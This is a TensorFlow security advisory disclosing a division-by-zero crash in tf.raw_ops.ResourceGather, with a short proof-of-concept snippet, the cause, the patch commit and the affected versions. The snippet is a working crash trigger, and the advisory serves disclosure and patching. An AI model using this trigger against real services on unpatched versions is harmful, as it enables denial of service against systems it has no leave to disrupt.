Division by 0 in `ResourceGather`

Impact

An attacker can trigger a crash via a floating point exception in tf.raw_ops.ResourceGather:

import tensorflow as tf

tensor = tf.constant(value=[[]],shape=(0,1),dtype=tf.uint32)
v = tf.Variable(tensor)
tf.raw_ops.ResourceGather(
  resource=v.handle,
  indices=[0],
  dtype=tf.uint32,
  batch_dims=1,
  validate_indices=False)

The implementation computes the value of a value, batch_size, and then divides by it without checking that this value is not 0.

Patches

We have patched the issue in GitHub commit ac117ee8a8ea57b73d34665cdf00ef3303bc0b11.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.